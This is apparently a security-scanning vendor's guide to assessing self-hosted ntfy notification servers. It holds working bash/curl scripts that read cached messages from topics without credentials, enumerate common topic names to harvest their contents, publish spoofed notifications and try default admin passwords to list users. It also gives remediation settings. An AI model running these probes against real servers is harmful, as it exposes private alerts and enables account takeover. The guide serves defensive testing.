ntfy is a widely deployed self-hosted publish-subscribe notification service used to push messages from scripts, CI/CD pipelines, home automation, and monitoring tools to phones and desktops. Its security significance comes from the sensitive content frequently transmitted: server alerts, CI/CD build output, automation results, and access codes. Its security assessment covers: ntfy's default server configuration allows unauthenticated subscription and publishing to any topic — the topic name itself is the only access control mechanism, meaning anyone who discovers a topic name can both receive all past cached messages and publish spoofed notifications; ntfy's auth-default-access setting defaults to read-write in many configurations, granting all unauthenticated users full read and write access to all topics; ntfy's HTTP endpoint /topic/json streams all messages for a topic without requiring authentication; ntfy's admin user has access to the full user and token management API at /v1/users; and predictable topic names in automation scripts are discoverable from script repositories and documentation. This guide covers systematic ntfy security assessment.
# ntfy unauthenticated topic access — default server allows open read/write
NTFY_URL="https://ntfy.example.com"
# Test if server allows unauthenticated access
# Subscribe to a topic and receive all cached messages
curl -s "${NTFY_URL}/alerts/json?poll=1" 2>/dev/null | head -20
# Subscribe to message stream in real time (blocks)
# curl -s "${NTFY_URL}/alerts/json"
# Publish a test message without authentication
curl -s -X POST "${NTFY_URL}/alerts" \
-d "Test unauthenticated publish" 2>/dev/null
# Check server info to understand auth configuration
curl -s "${NTFY_URL}/v1/info" 2>/dev/null | python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
print(f'Version: {d.get(\"version\")}')
print(f'Auth required: {not d.get(\"visitor\",{}).get(\"limits\",{})}')
except: pass
" 2>/dev/null
# List all topics that have active subscribers or cached messages
# ntfy does not expose a topic listing endpoint by default,
# but the admin API reveals stats
curl -s "${NTFY_URL}/v1/stats" 2>/dev/null | python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
print(f'Messages: {d.get(\"messages\")}')
print(f'Topics: {d.get(\"topics\")}')
except: pass
" 2>/dev/null
# ntfy topic enumeration — common/predictable topic names used in automation
NTFY_URL="https://ntfy.example.com"
# Common topic names used in home automation, CI/CD, and monitoring scripts
TOPICS=(
"alerts" "notifications" "monitoring" "ci" "builds" "deploy"
"backup" "server" "home-assistant" "home" "docker" "cron"
"uptime" "grafana" "fail2ban" "nginx" "security" "admin"
)
for TOPIC in "${TOPICS[@]}"; do
# Poll for cached messages on each topic
MSGS=$(curl -s "${NTFY_URL}/${TOPIC}/json?poll=1&since=all" 2>/dev/null)
COUNT=$(echo "$MSGS" | grep -c '"id"' 2>/dev/null || echo 0)
if [ "$COUNT" -gt 0 ]; then
echo "TOPIC HAS MESSAGES: ${TOPIC} (${COUNT} messages)"
echo "$MSGS" | python3 -c "
import json,sys
for line in sys.stdin:
line=line.strip()
if line:
try:
m=json.loads(line)
print(f' [{m.get(\"time\",\"?\")[:10]}] {m.get(\"title\",\"?\")} — {str(m.get(\"message\",\"\"))[:80]}')
except: pass
" 2>/dev/null
fi
done
# ntfy ACL (Access Control List) testing
# When auth is enabled, test for weak credentials and ACL misconfig
NTFY_URL="https://ntfy.example.com"
# Test admin credentials (if auth is enabled)
for CREDS in "admin:admin" "ntfy:ntfy" "admin:password"; do
USER="${CREDS%%:*}"
PASS="${CREDS##*:}"
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
"${NTFY_URL}/v1/users" \
-u "${USER}:${PASS}" 2>/dev/null)
if [ "$STATUS" = "200" ]; then
echo "ADMIN AUTH SUCCESS: ${USER}:${PASS}"
# List all users
curl -s "${NTFY_URL}/v1/users" -u "${USER}:${PASS}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
users = d.get('users',[])
print(f'Users: {len(users)}')
for u in users:
print(f' {u.get(\"username\")} role={u.get(\"role\")}')
for grant in u.get('grants',[]):
print(f' topic={grant.get(\"topic\")} read={grant.get(\"read\")} write={grant.get(\"write\")}')
" 2>/dev/null
break
fi
done
# Test if auth-default-access is set to read-write (allows all unauthenticated)
# This is the default in many ntfy server.yml configurations
AUTH_TEST=$(curl -s -o /dev/null -w "%{http_code}" \
"${NTFY_URL}/test-probe-topic/json?poll=1" 2>/dev/null)
if [ "$AUTH_TEST" = "200" ]; then
echo "auth-default-access is read-write (unauthenticated access allowed)"
fi
auth-default-access: deny-all to require authentication for all topic access; the default read-write value allows any unauthenticated user to publish and subscribe to all topics without credentialsauth-file in server.yml and create user accounts with ntfy user add username; grant per-topic permissions with ntfy access username topicname rw; without authentication, topic names are the only access barrier| Security Test | Method | Risk |
|---|---|---|
| Unauthenticated topic subscribe (auth-default-access=read-write) | GET /topic/json?poll=1 without credentials — all cached messages on the topic are returned; subscription to future messages via the streaming endpoint | High |
| Unauthenticated topic publish | POST /topic with message body — anyone can publish spoofed or misleading notifications to any topic, including security alert topics | High |
| Predictable topic name enumeration | Test common topic names (alerts, monitoring, ci, docker, home) — topics with cached messages return their content including server state and operational data | High |
| Admin credential brute force when auth enabled | GET /v1/users with common admin credentials — admin access allows listing all users, their topic grants, and creating new tokens | High |
| Topic name discovery from version control | Search Git repos for ntfy.sh topic URLs and self-hosted instance topic names in scripts — topic names used in CI/CD and automation scripts are frequently committed | Medium |
| Server statistics revealing topic and message counts | GET /v1/stats — reveals total message count and active topic count; GET /v1/info reveals server version and rate limits without authentication | Low |
Ironimo tests ntfy deployments for unauthenticated topic access when auth-default-access is read-write allowing any visitor to receive all cached notifications and subscribe to future messages, predictable topic name enumeration revealing sensitive operational data from monitoring and CI/CD systems, unauthenticated topic publishing enabling notification spoofing, admin credential brute force on authenticated instances, topic name leakage from automation script repositories, and server configuration exposure via the info endpoint.
Start free scan